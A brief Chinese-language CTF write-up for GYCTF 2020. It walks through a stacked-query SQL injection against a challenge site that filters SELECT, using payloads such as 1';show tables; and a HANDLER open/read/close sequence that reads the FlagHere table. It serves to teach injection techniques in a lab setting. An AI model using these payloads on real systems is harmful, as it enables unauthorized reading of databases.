GYCTF 2020
Last updated
Last updated
随便输入 1
进去回显得到数组,输入 1' select
回显得到一条 PHP 语句。
可以发现过滤了许多 SQL 关键字,传入 1';show databases;
可以获取到数据库名为 supersqli
传入 1';show tables;
可以看到 flag 被藏到了 FlagHere
表中。
但是要怎么获取到 flag 呢?select 已经被吃掉了,经过百度发现可以通过 HANDLER 语句获取。
HANDLER table_name OPEN:打开一个表的句柄。
HANDLER table_name READ index:访问表的索引。
HANDLER table_name CLOSE:关闭已经打开的句柄。
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ]
READ FIRST: 获取句柄的第一行
READ NEXT: 依次获取其他行
通过传入 1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;
就可以获得 flag 力